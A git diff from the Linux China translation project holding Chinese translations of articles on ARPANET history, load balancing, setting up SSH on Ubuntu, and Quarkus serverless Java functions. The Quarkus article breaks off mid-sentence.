是有史以来第一个分组交换网络packet-switched network,涉及到许多重要的技术应用。但是如果仅仅因为这项优势,就说它是一项突破,我觉得这种说法本身就是错的。ARPANET 旨在促进全美计算机科学家之间的合作,目的是要弄明白不同的操作系统、不同语言编写的软件如何配合使用,而非如何在麻省和加州之间实现高效的数据传输。因此,ARPANET 不仅是第一个分组交换网络,它还是一项非常成功且优秀的标准。在我看来,后者更有意思,毕竟我在博客上曾经写过许多颇有失败的标准:[语义网][17]、[RSS][18] 与 [FOAF][19]。 + +ARPANET 项目初期没有考虑到网络协议,协议的制定是后来的事情了。因此,这项工作自然落到了主要由研究生组成的组织 —— 网络工作组Network Working Group(NWG)身上。该组织的首次会议于 1968 年在加州大学圣芭芭拉分校举办 [^15]。当时只有 12 人参会,大部分都是来自上述四所大学的代表 [^16]。来自加州大学洛杉矶分校的研究生史蒂夫·克罗克Steve Crocker参加了这场会议。他告诉我,工作组首次会议的参会者清一色都是年轻人,最年长的可能要数会议主席埃尔默·夏皮罗Elmer Shapiro了,他当年 38 岁左右。ARPA 没有派人负责研究计算机连接之后如何进行通信,但是很明显它需要提供一定的协助。随着工作组会议的陆续开展,克罗克一直期望着更有经验与威望的“法定成年人”从东海岸飞过来接手这项工作,但是期望终究还是落空了。在 ARPA 的默许之下,工作组举办了多场会议,其中包括很多长途旅行,差旅费由 ARPA 报销,这些就是它给与工作组的全部协助了 [^17]。 + +当时,网络工作组面临着巨大的挑战。从没有人有过使用通用方式连接计算机系统的经验,而且这本来就与上世纪六十年代末计算机领域盛行的全部观点相悖: + +> 那个时候典型的主机表现得就像是它是全宇宙唯一的计算机。即便是最简短的交流会话,两台主机也无法轻易做到。并不是说机器没办法相互连接,只是连接之后,两台计算机又能做些什么呢?当时,计算机和与其相连的其他设备之间的通讯,就像帝王与群臣之间的对话一般。连接到主机的设备各自执行着自己的任务,每台外围设备都保持着常备不懈的状态,等待着上司的命令。当时的计算机就是严格按照这类互动需求设计出来的;它们向读卡器、终端与磁带机等下属设备发号施令,发起所有会话。但是,如果一台计算机拍了拍另一台计算机的肩膀,说道,“你好,我也是一台计算机”,那么另一台计算机可就傻眼了,什么也回答不上来 [^18]。 + +于是,工作组的最初进展很缓慢 [^19]。直到 1970 年 6 月,也就是首次会议将近两年之后,工作组才为网络协议选定了一套“正式”规范 [^20]。 + +不过,到了 1972 年,在国际计算机通信会议上展示 ARPANET 的时候,所有的协议已经准备就绪了。会议期间,这些协议运用到了国际象棋等情景之中。用户运行 `@e r` 命令(`@echo remote` 命令的缩写形式),可以指示 TIP 使用新 TELNET 虚拟终端协议提供的服务,通知远程主机它应该回显用户输入的内容。接着,用户运行 `@L 134` 命令(`@login 134` 命令的缩写形式),让 TIP 在 134 号主机上调用初始连接协议Initial Connection Protocol,该协议指示远程主机分配出连接所需的全部必要资源,并将用户带入 TELNET 会话中。上述文件传输的情景也许用到了 文件传输协议File Transfer Protocol(FTP),而该协议恰好是在大会举办前夕才刚刚完成的 [^21]。所有这些协议都是“三层”协议,其下的第二层是主机到主机的协议,定义了主机之间可以相互发送和接收的信息的基本格式;第一层是主机到接口通信处理机(IMP)的协议,定义了主机如何与连接的远程设备进行通信。令人感到不可思议的是,这些协议都能正常运行。 + +在我看来,网络工作组之所以能够在大会举办之前做好万全的准备,顺利且出色地完成任务,在于他们采用了开放且非正式的标准化方法,其中一个典型的例子就是著名的 征求意见Request for Comments(RFC)系列文档。RFC 文档最初通过传统信件snail mail在工作组成员之间进行传阅,让成员们在没有举办会议的时候也能保持联系,同时收集成员反馈,汇集各方智慧。RFC 框架是克罗克提出的,他写出了第一篇 RFC 文档,并在早期负责管理 RFC 的邮寄列表。他这样做是为了强调工作组开放协作的活动本质。有了这套框架以及触手可及的文档,ARPANET 的协议设计过程成了一个大熔炉,每个人都可以贡献出自己的力量,步步推进,精益求精,让最棒的想法脱颖而出,而没有人失去面子。总而言之,RFC 获得了巨大成功,并且直至今天,长达半个世纪之后,它依旧是网络标准的“说明书”。 + +因此,说起 ARPANET 的影响力,我认为不得不强调的一点正是工作组留下的这一成果。今天,互联网可以把世界各地的人们连接起来,这也是它最神奇的属性之一。不过如果说这项技术到了上世纪才开始使用,那可就有些滑稽可笑了。要知道,在 ARPANET 出现之前,人们就已经通过电报打破了现实距离的限制。而 ARPANET 打破的应该是各个主机站因使用不同的操作系统、字符编码、程序语言以及组织策略而在逻辑层面产生的差异限制。当然,将第一个分组交换网络投入使用在技术方面绝对是一大壮举,这肯定值得一提,不过,制定统一的标准并用以连接原本无法相互协作的计算机,是建立 ARPANET 网络过程中遇到的这两大难题中更为复杂的一个。而这一难题的解决方案,也成了 ARPANET 整个建立与发展历史中最为神奇的一个章节。 + +1981 年,高级研究计划署发表了一份“完工报告”,回顾了 ARPANET 项目的第一个十年。在《付出收获了回报的技术方面以及付出未能实现最初设想的技术方面》这一冗长的小标题下,作者们写道: + +> 或许,在 ARPANET 的开发过程中,最艰难的一项任务就是,尽管主机制造商各不相同,或者同一制造商下操作系统各不相同,我们仍需在众多的独立主机系统之间实现通讯交流。好在这项任务后来取得了成功 [^22]。 + +你可以从美国联邦政府获得相关信息。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][28],也可通过 [RSS 馈送][29] 订阅,获取最新文章。_ + +[^1]: “Hilton Hotel Opens in Capital Today.” _The New York Times_, 20 March 1965, . Accessed 7 Feb. 2021. +[^2]: James Pelkey. _Entrepreneurial Capitalism and Innovation: A History of Computer Communications 1968-1988,_ Chapter 4, Section 12, 2007, . Accessed 7 Feb. 2021. +[^3]: Katie Hafner and Matthew Lyon. _Where Wizards Stay Up Late: The Origins of the Internet_. New York, Simon & Schuster, 1996, p. 178. +[^4]: “International Conference on Computer Communication.” _Computer_, vol. 5, no. 4, 1972, p. c2, . Accessed 7 Feb. 2021. +[^5]: “Program for the International Conference on Computer Communication.” _The Papers of Clay T. Whitehead_, Box 42, . Accessed 7 Feb. 2021. +[^6]: 我其实并不清楚 ARPANET 是在哪个房间展示的。很多地方都提到了“宴会厅”,但是华盛顿希尔顿酒店更习惯于叫它“乔治敦”,而不是把它当成一间会议室。因此,或许这场展示是在国际宴会厅举办的。但是 RFC 372 号文件又提到了预定“乔治敦”作为展示场地一事。华盛顿希尔顿酒店的楼层平面图可以点击 [此处][36] 查看。 +[^7]: Hafner, p. 179. +[^8]: ibid., p. 178. +[^9]: Bob Metcalfe. “Scenarios for Using the ARPANET.” _Collections-Computer History Museum_, . Accessed 7 Feb. 2021. +[^10]: Hafner, p. 176. +[^11]: Robert H. Thomas. “Planning for ACCAT Remote Site Operations.” BBN Report No. 3677, October 1977, . Accessed 7 Feb. 2021. +[^12]: Hafner, p. 12. +[^13]: Joy Lisi Rankin. _A People’s History of Computing in the United States_. Cambridge, MA, Harvard University Press, 2018, p. 84. +[^14]: Rankin, p. 93. +[^15]: Steve Crocker. Personal interview. 17 Dec. 2020. +[^16]: 克罗克将会议记录文件发给了我,文件列出了所有的参会者。 +[^17]: Steve Crocker. Personal interview. +[^18]: Hafner, p. 146. +[^19]: “Completion Report / A History of the ARPANET: The First Decade.” BBN Report No. 4799, April 1981, , p. II-13. +[^20]: 这里我指的是 RFC 54 号文件中的“正式协议”。 +[^21]: Hafner, p. 175. +[^22]: “Completion Report / A History of the ARPANET: The First Decade,” p. II-29. + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2021/02/07/arpanet.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: https://en.wikipedia.org/wiki/ARPANET +[10]: https://archive.computerhistory.org/resources/access/text/2019/07/102784024-05-001-acc.pdf +[17]: https://twobithistory.org/2018/05/27/semantic-web.html +[18]: https://twobithistory.org/2018/12/18/rss.html +[19]: https://twobithistory.org/2020/01/05/foaf.html +[28]: https://twitter.com/TwoBitHistory +[29]: https://twobithistory.org/feed.xml +[30]: https://twitter.com/TwoBitHistory/status/1277259930555363329?ref_src=twsrc%5Etfw +[36]: https://www3.hilton.com/resources/media/hi/DCAWHHH/en_US/pdf/DCAWH.Floorplans.Apr25.pdf diff --git a/published/202210/20210415 A beginner-s guide to load balancing.md b/published/202210/20210415 A beginner-s guide to load balancing.md new file mode 100644 index 0000000000..1a464283a6 --- /dev/null +++ b/published/202210/20210415 A beginner-s guide to load balancing.md @@ -0,0 +1,83 @@ +[#]: subject: (A beginner's guide to load balancing) +[#]: via: (https://opensource.com/article/21/4/load-balancing) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15121-1.html) + +负载均衡的初学者指南 +====== + +> 负载均衡就是将资源分配到某一时刻最需要它的地方。 + +![](https://img.linux.net.cn/data/attachment/album/202210/09/171034wvrqq5qqxkjcv5nv.jpg) + +当个人电脑刚开始发展的时候,一个家庭可能只有一台(或更少)的电脑。孩子们白天玩电脑游戏,家长们晚上在业务支撑系统上做会计、编程,或者漫游。然而,想象一下今天一个只有一台电脑的家庭,你可以预想到这样会产生什么样的冲突。每个人都想使用电脑,而只有一副键盘和鼠标。 + +随着计算机变得越来越普遍,IT 行业或多或少也出现了同样的情况。对服务和服务器的需求已经增长到了会因为用量过大而停机的程度。幸运的是,我们现在有了负载均衡的概念来帮助我们处理需求。 + +### 负载均衡是什么? + +负载均衡是一个通用术语,指的是为了确保高效分配所管理的资源而做的事情。对于 Web 服务器的系统管理员来说,负载均衡通常意味着确保 Web 服务器软件(例如 [Nginx][2])配置了足够的工作节点来处理激增的访客。换言之,如果一个网站突然变得非常受欢迎,其访问者在几分钟内增加了四倍,那么运行服务器的软件必须能够响应每个访问者,并不能让任何访问者发现服务质量下降。对于简单的网站,这就像修改一行配置选项一样简单,但对于具有动态内容的复杂站点,每个用户都有多个数据库查询,这可能是一个严重的问题。 + +这个问题本应随着云计算的发展而解决,但当 Web 应用程序遇到意外激增时,无法扩展也不是不可能。 + +在进行负载均衡时,需要记住的重要一点是,*高效地*分配资源并不一定意味着*平均地*分配资源。并非所有任务都在任何时候都需要所有的可用资源。一个智能的负载均衡策略仅在需要资源时才为用户和任务提供资源。这通常是应用程序开发人员的领域,而不是 IT 基础架构的责任。异步应用程序对于确保离开计算机休息的用户不占用服务器上的宝贵资源至关重要。 + +### 负载均衡是怎么工作的? + +负载均衡通过在多个计算节点上分配工作负载来避免瓶颈。这些节点可能是数据中心中的物理服务器、云环境中的容器、用于边缘计算而战略性放置的服务器、复杂应用程序框架中的独立 Java 虚拟机(JVM),或在单个 Linux 服务器上运行的守护进程。 + +这个想法是把一个大问题分成几个小任务,并把每个任务分配给一台专用计算机。例如,对于一个要求用户登录的网站,该网站可能托管在服务器 A 上,而登录页面和所有随附的身份验证查询都托管在服务器 B 上。这样,新用户登录帐户时就不会占用其它使用该站点的用户的资源。 + +#### 云计算负载均衡 + +云计算使用 [容器][3],因此通常没有单独的物理服务器来处理不同的任务(实际上,有许多单独的服务器,但它们被聚集在一起作为一个计算“大脑”)。相反,“容器荚pod” 是由几个容器创建的。当一个容器荚由于其用户或任务负载而开始耗尽资源时,会生成一个相同的容器荚。容器荚共享存储和网络资源,每个容器荚在创建时被分配给一个计算节点。可以根据负载需要创建或销毁容器荚,这样无论有多少用户,用户都可以体验到一致的服务质量。 + +#### 边缘计算 + +[边缘计算][4] 在负载均衡时考虑到了现实世界。云计算自然是一个分布式系统,但实际上,云计算的节点通常集中在几个数据中心。用户离运行云计算的数据中心越远,他们为获得最佳服务所必须克服的物理障碍就越多。即使有光纤连接和适当的负载均衡,位于 3000 英里外的服务器的响应时间也可能比仅仅 300 英里外的响应时间长。 + +边缘计算将计算节点带到云计算的“边缘”,试图弥合地理鸿沟,为云计算形成一种卫星网络,因此它也在良好的负载均衡工作中发挥了作用。 + +### 什么是负载均衡算法? + +有许多负载均衡策略,它们的复杂性取决于所涉及的技术和需求。负载均衡不必复杂,而且从一开始就负载均衡很重要,即使在使用 [Kubernetes][5] 和 [Keepalived][6] 这样的专用软件时也是如此。 + +当你可以设计应用程序,自己为它采取简单的预防措施时,不要依赖容器来均衡负载。如果你从一开始就将应用程序设计为模块化和临时性的,那么你将受益于通过巧妙的网络设计、容器编排和其他未来技术带来的负载均衡机会。 + +可以指导应用程序开发人员或网络工程师工作的一些流行算法包括: + + * 按顺序将任务分配给服务器(这通常被称为轮询调度)。 + * 将任务分配给当前最不繁忙的服务器。 + * 将任务分配给具有响应最快的服务器。 + * 随机分配任务。 + +举个例子,在分配特别复杂的任务时,可以组合或加权这些原则以分配到组中最强大的服务器。通常使用 [编排][7],这样管理员就不必为负载均衡寻找完美的算法或策略,尽管有时需要由管理员选择使用哪种负载均衡方案组合。 + +### 预料意料之外 + +负载均衡实际上并不是要确保在整个网络中均匀使用所有资源。负载均衡实际上是确保即使发生意外情况也能提供可靠的用户体验。良好的基础设施可以承受计算机崩溃、应用程序过载、网络流量冲击和用户错误。思考你的服务如何才能具有弹性,并从头开始相应地设计负载均衡策略。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/load-balancing + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/water-stone-balance-eight-8.png?itok=1aht_V5V (eight stones balancing) +[2]: https://opensource.com/business/15/4/nginx-open-source-platform +[3]: https://opensource.com/resources/what-are-linux-containers +[4]: https://opensource.com/article/18/5/edge-computing +[5]: https://opensource.com/resources/what-is-kubernetes +[6]: https://www.redhat.com/sysadmin/keepalived-basics +[7]: https://opensource.com/article/20/11/orchestration-vs-automation diff --git a/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md b/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md new file mode 100644 index 0000000000..44f76a5efa --- /dev/null +++ b/published/202210/20210530 Complete Guide to Configuring SSH in Ubuntu.md @@ -0,0 +1,242 @@ +[#]: subject: (Complete Guide to Configuring SSH in Ubuntu) +[#]: via: (https://itsfoss.com/set-up-ssh-ubuntu/) +[#]: author: (Chris Patrick Carias Stas https://itsfoss.com/author/chris/) +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15175-1.html) + +在 Ubuntu 中配置 SSH 的完整指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/25/102118u33grazpccrvxwdf.jpg) + +> 如今 SSH 已成为了登录远程服务器的默认方式。 + +SSH 的全称是 “安全的 ShellSecure Shell”,它功能强大、效率高,这个主流的网络协议用于在两个远程终端之间建立连接。让我们不要忘记它名称的“安全”部分,SSH 会加密所有的通信流量,以防止如劫持、窃听等攻击,同时提供不同的身份认证方式和无数个配置选项。 + +在这份新手指南中,你会学到: + + - SSH 的基本概念 + - 设置 SSH 服务器(在你想要远程登录的系统上) + - 从客户端(你的电脑)通过 SSH 连接远程服务器 + +### SSH 的基本概念 + +在学习配置过程前,让我们先了解一下 SSH 的全部基础概念。 + +SSH 协议基于客户端-服务器server-client(CS)架构。“服务器Server”允许“客户端Client”通过通信通道进行连接。该信道是经过加密的,信息交换通过 SSH 公私钥进行管理。 + +![Image credit: SSH][1] + +[OpenSSH][2] 是在 Linux、BSD 和 Windows 系统上提供 SSH 功能的最流行的开源工具之一。 + +想要成功配置 SSH,你需要: + + - 在作为服务器的机器上部署 SSH 服务器组件,它由 `openssh-server` 包提供。 + - 在你远程访问服务器的客户端机器上部署 SSH 客户端组件,它由 `openssh-client` 包提供,大多数 Linux 和 BSD 发行版都已经预装好了。 + +区分服务器和客户端是十分重要的事情。或许你不想要你的 PC 作为 SSH 服务器,除非你有充分理由希望其他人通过 SSH 连接你的系统。 + +通常来说,你有一个专用的服务器系统。例如,一个 [运行 Ubuntu 的树莓派][3]。你可以 [启用树莓派的 SSH 服务][4],这样你可以在你 PC 中的终端中,通过 SSH 控制并管理该设备。 + +有了这些信息,让我们看看如何在 Ubuntu 上设置 SSH 服务器。 + +### 在 Ubuntu 服务器中配置 SSH + +设置 SSH 并不复杂,只需要以下几步。 + +#### 前提 + + - 一个在服务器端拥有 `sudo` 权限的用户 + - 可以下载所需包的互联网连接 + - 在你的网络中至少有另一个系统。可以是局域网中的另一台电脑,远程服务器或者计算机中托管的虚拟机。 + +**再次强调,在你想要通过 SSH 远程登录的系统上安装 SSH 服务。** + +#### 第一步:安装所需包 + +让我们从打开终端输入一些必要命令开始。 + +注意,在安装新的包或者软件前,要 [更新你的 Ubuntu 系统][5],以确保运行的是最新版本的程序。 + +``` +sudo apt update && sudo apt upgrade +``` + +你要运行 SSH 服务器的包由 OpensSSH 的 `openssh-server` 组件提供: + +``` +sudo apt install openssh-server +``` + +![][6] + +#### 第二步:检查服务器状态 + +当你下载并安装完包后,SSH 服务器应该已经运行了,但是为了确保万无一失我们需要检查一下: + +``` +service ssh status +``` + +你还可以使用 `systemctl` 命令: + +``` +sudo systemctl status ssh +``` + +你应该会看到这样的结果,其中 `active` 是高亮的。输入 `q` 退出该页面。 + +![][7] + +如果你的结果中 SSH 服务没有运行,使用这个命令运行它: + +``` +sudo systemctl enable --now ssh +``` + +#### 第三步:允许 SSH 通过防火墙 + +Ubuntu 带有名为 [UFW][8](简单的防火墙Uncomplicated Firewall)的防火墙,这是管理网络规则的 `iptables` 的一个接口。如果启动了防火墙,它可能会阻止你连接服务器。 + +想要配置 UFW 允许你的接入,你需要运行如下命令: + +``` +sudo ufw allow ssh +``` + +UFW 的运行状态可以通过运行 `sudo ufw status` 来检查。 + +现在,我们的 SSH 服务器已经开始运行了,在等待来自客户端的连接。 + +### 连接远程服务器 + +你本地的 Linux 系统已经安装了 SSH 客户端。如果没有,你可以在 Ubuntu 中使用如下命令安装: + +``` +sudo apt install openssh-client +``` + +要连接你的 Ubuntu 系统,你需要知道它的 IP 地址,然后使用 `ssh` 命令,就像这样: + +``` +ssh username@address +``` + +将 **用户名**(`username`)改为你的系统上的实际用户名,并将 **地址**(`address`)改为你服务器的 IP 地址。 + +如果你 [不知道 IP 地址][9],可以在服务器的终端输入 `ip a` 查看结果。应该会看到这样的结果: + +![Using “ip a” to find the IP address][10] + +可以看到我的 IP 地址是 `192.168.1.111`。让我们使用 `username@address` 格式进行连接。 + +``` +ssh team@192.168.1.111 +``` + +这是你第一次连接到该 SSH 服务器,它会请求添加主机。输入 `yes` 并回车即可。 + +![First time connecting to the server][12] + +SSH 会立即告诉你该主机已经被永久添加了,并要求你输入指定用户的密码,输入密码并再次按回车即可。 + +![Host added, now type in the password][13] + +瞧,你远程登录了你的 Ubuntu 系统! + +![Connected!][14] + +现在,你可以在远程服务器的终端里和寻常一样工作了。 + +#### 关闭 SSH 连接 + +你只需要输入 `exit` 即可关闭连接,它会立马关闭不需要确认。 + +![Closing the connection with “exit”][15] + +### 在 Ubuntu 中关闭并禁止 SSH + +如果你想要停止 SSH 服务,需要运行该命令: + +``` +sudo systemctl stop ssh +``` + +该命令会关闭 SSH 服务,直到重启它或者系统重启。想要重启它,输入: + +``` +sudo systemctl start ssh +``` + +现在,如果你想要禁止 SSH 跟随系统启动,使用该命令: + +``` +sudo systemctl disable ssh +``` + +该命令不会停止当前的 SSH 会话,只会在启动的时候生效。如果你想要它跟随系统启动,输入: + +``` +sudo systemctl enable ssh +``` + +#### 其他 SSH 客户端 + +从 Linux 到 macOS,大多数 *nix 系统中都有 `ssh` 工具,但这并不是唯一的选项,这里有几个可以在其他操作系统中使用的客户端: + + * [PuTTY][16] 是一个自由开源的 Windows 系统上的 SSH 客户端。它功能强大并且简单易用。如果你从 Windows 系统上连接你的 Ubuntu 服务器,PuTTY 是最好的选择。(LCTT 译注:切记从官方网站下载。) + * 对安卓用户来说,[JuiceSSH][17] 是十分优秀的工具。如果你在旅途中需要一个移动客户端来连接你的 Ubuntu 系统,我强烈建议你试试 JuiceSSH。它已经出现了将近 10 年,并且可以免费使用。 + * 最后是 [Termius][18],它可用于 Linux、Windows、macOS、iOS 和安卓。它有一个免费版本和几个付费选项。如果你运行大量服务器并进行共享连接的团队合作,那么 Termius 对你来说是一个不错的选择。 + +#### 总结 + +在这份指导中,你可以在 Ubuntu 系统中设置 SSH 作为服务器,允许来自你电脑的远程安全的连接,便于你通过命令行开展工作。 + +此,我推荐以下文章: + + * [Linux SSH 入门教程][19] + * [利用 SSH 配置文件管理多个 SSH 连接][20] + * [向 SSH 服务器添加公钥以进行无密码身份验证][21] + * [保护你的 SSH 服务器的 SSH 加固技巧][22] + +远程工作快乐! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/set-up-ssh-ubuntu/ + +作者:[Chris Patrick Carias Stas][a] +选题:[lujun9972][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/chris/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-diagram.png?resize=800%2C259&ssl=1 +[2]: https://www.openssh.com/ +[3]: https://itsfoss.com/install-ubuntu-server-raspberry-pi/ +[4]: https://itsfoss.com/ssh-into-raspberry/ +[5]: https://itsfoss.com/update-ubuntu/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0001.png?resize=800%2C253&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0002.png?resize=800%2C263&ssl=1 +[8]: https://itsfoss.com/set-up-firewall-gufw/ +[9]: https://itsfoss.com/check-ip-address-ubuntu/ +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-find-ip.png?resize=800%2C341&ssl=1 +[11]: https://itsfoss.com/cdn-cgi/l/email-protection +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0004.png?resize=800%2C87&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0005.png?resize=800%2C57&ssl=1 +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0006.png?resize=800%2C322&ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/05/ssh-0007.png?resize=800%2C87&ssl=1 +[16]: https://www.putty.org/ +[17]: https://juicessh.com/ +[18]: https://termius.com/ +[19]: https://linuxhandbook.com/ssh-basics/ +[20]: https://linuxhandbook.com/ssh-config-file/ +[21]: https://linuxhandbook.com/add-ssh-public-key-to-server/ +[22]: https://linuxhandbook.com/ssh-hardening-tips/ +[23]: https://linuxhandbook.com/sshcourse/ diff --git a/published/202210/20210601 Get started with Java serverless functions.md b/published/202210/20210601 Get started with Java serverless functions.md new file mode 100644 index 0000000000..1fb0e1e0f1 --- /dev/null +++ b/published/202210/20210601 Get started with Java serverless functions.md @@ -0,0 +1,208 @@ +[#]: subject: "Get started with Java serverless functions" +[#]: via: "https://opensource.com/article/21/6/java-serverless-functions" +[#]: author: "Daniel Oh https://opensource.com/users/daniel-oh" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15111-1.html" + +Java 无服务器函数入门 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/06/154731xejvfcai8e0auimh.jpg) + +> Quarkus 令你可以使用类似 Java 的技术开发无服务器的工作负载。 + +对 [无服务器 Java][2] 的研究始于函数 —— 就是按需求运行的一小段代码。这一阶段并没有持续很长时间。虽然在 1.0 阶段,基于虚拟机架构的函数使这种范式变得很流行,但它仍然有局限性,例如执行时间、协议和糟糕的本地开发体验,都不太理想,如下图所示。 + +开发者随后意识到,可以把同样的无服务器特性应用于微服务和 Linux 容器,带来的好处也是一样的。由此进入 1.5 阶段,在这个阶段,一些无服务器容器完全抽象化了 [Kubernetes][3],通过 [Knative][4] 或其它位于它之上的抽象层来提供无服务器的体验。 + +在 2.0 阶段,无服务器开始处理更复杂的编排和集成模式,并结合某些层级的状态管理。更重要的是,开发者关注的是能否在旧的系统中使用熟悉的 Java 应用程序运行时来组合运行无服务器和非无服务器的工作负载。 + +![The serverless Java journey][5] + +Java 开发者开始进行无服务器函数开发之前,第一步是要选择一种新的云原生 Java 框架,从而能够以快于传统单体应用程序的速度和较小的内存占用运行 Java 函数。这在各种基础设施环境中,包括物理服务器、虚拟机、多云或混合云环境中的容器,都是适用的。 + +开发者也有可能固执地选择 Spring 框架中的 [Spring 云函数][6] 来进行命令式和反应式函数的开发。Spring 也支持将 Java 函数部署到可安装的无服务器平台,比如 [Kubeless][7]、[Apache OpenWhisk][8]、[Fission][9] 和 [Project Riff][10]。然而,人们担心 Spring 的启动慢、响应时间长以及内存占用大的问题。在诸如 Kubernetes 这种可扩展的容器环境中运行 Java 函数,这些问题可能会更严重。 + +[Quarkus][11] 是一个新推出的开源云原生 Java 框架,它有助于解决这些问题。它的作用是设计无服务器应用程序,以及编写运行于云基础设施(例如 Kubernetes)的云原生微服务。 + +Quarkus 重新审视了 Java,它使用了封闭的方法构建和运行 Java 程序。它把 Java 转变为一种可与 Go 相媲美的运行时。Quarkus 也包含 100 多种扩展功能,集成了企业级能力,例如数据库访问、无服务器集成、消息、安全、可观察性和业务自动化。 + +这里有一个简单例子,展现如何使用 Quarkus 创建一个 Java 无服务器项目的框架。 + +### 1、基于 Maven 创建一个 Quarkus 无服务器项目 + +安装一个本地 Kubernetes 集群,开发者有多种选择,包括 [Minikube][12] 和 [OKD][13]。因为使用 OKD 在 Knative 和 DevOps 工具上安装无服务器相关功能较方便,本文使用 OKD 安装集群。这些关于 [OKD 安装][14] 和 [Knative 操作员安装][15] 的相关指南中提供了更多的设置资料。 + +下面的命令创建了一个 Quarkus 项目(例如 `quarkus-serverless-restapi`),对外暴露一个简单的 REST API,并下载 `quarkus-openshift` 扩展,用于 Knative 服务的部署: + +``` +$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ +       -DprojectGroupId=org.acme \ +       -DprojectArtifactId=quarkus-serverless-restapi \ +       -Dextensions="openshift" \ +       -DclassName="org.acme.getting.started.GreetingResource" +``` + +### 2、在本地运行无服务器功能 + +使用 Quarkus 开发模式运行程序,检查 REST API 是否有效,稍稍调整一下代码: + +``` +$ ./mvnw quarkus:dev +``` + +输出如下内容: + +``` +__  ____  __  _____   ___  __ ____  ______ + --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ + -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \   +--\___\_\____/_/ |_/_/|_/_/|_|\____/___/   +INFO  [io.quarkus] (Quarkus Main Thread) quarkus-serverless-restapi 1.0.0-SNAPSHOT on JVM (powered by Quarkus xx.xx.xx.) started in 2.386s. Listening on: http://localhost:8080 +INFO  [io.quarkus] (Quarkus Main Thread) Profile dev activated. Live Coding activated. +INFO  [io.quarkus] (Quarkus Main Thread) Installed features: [cdi, kubernetes, resteasy] +``` + +> **注意**: 保持 Quarkus 应用程序运行,需要使用热部署Live Coding。这样,当代码修改后,你就不必重新构建、重新部署以及重启运行时。 + +现在,你可以使用一个 `curl` 命令快速访问 REST API。输出结果应当是 `Hello RESTEasy`: + +``` +$ curl localhost:8080/hello +Hello RESTEasy +``` + +在 `GreetingResource.java` 中修改返回值: + +``` +public String hello() { +        return "Quarkus Function on Kubernetes"; +    } +``` + +再次访问 REST API,输出信息也会相应更新: + +``` +$ curl localhost:8080/hello +Quarkus Function on Kubernetes +``` + +普通的微服务跟无服务器函数之间的差别并不大。使用 Quarkus 的好处在于:开发者可以使用任何微服务,将 Kubernetes 部署为无服务器函数。 + +### 3、在 Knative 服务中部署相关的函数 + +如果你还没有创建命名空间,就在你的 OKD 集群上 [创建命名空间][16](例如 `quarkus-serverless-restapi`),用来部署 Java 无服务器函数。 + +Quarkus 令开发者可以通过在 `src/main/resources/application.properties` 中添加以下变量,创建 Knative 和 Kubernetes 资源: + +``` +quarkus.container-image.group=quarkus-serverless-restapi <1> +quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 <2> +quarkus.kubernetes-client.trust-certs=true <3> +quarkus.kubernetes.deployment-target=knative <4> +quarkus.kubernetes.deploy=true <5> +quarkus.openshift.build-strategy=docker <6> +``` + +说明: + +- <1> 在你部署无服务器应用程序的位置定义项目名 +- <2> 使用容器注册中心 +- <3> 在这个简单例子中,使用自签名证书,以便通过相关信任机制 +- <4> 允许创建 Knative 资源 +- <5> 指示在构建容器映像之后将扩展部署到 OpenShift +- <6> 设置 Docker 构建策略 + +执行以下命令,构建应用程序,并直接部署到 OKD 集群: + +``` +$ ./mvnw clean package -DskipTests +``` + +> **注意:** 应该提前使用 `oc login` 命令,确保登录到正确的项目(例如`quarkus-serverless-restapi`)。 + +输出结果应该以 `BUILD SUCCESS` 结束。 + +在对于 Knative 服务执行的 `oc` 命令中,加上标签: + +``` +$ oc label rev/quarkus-serverless-restapi-00001 +app.openshift.io/runtime=quarkus --overwrite +``` + +然后访问 OKD 网页控制台,就能进入 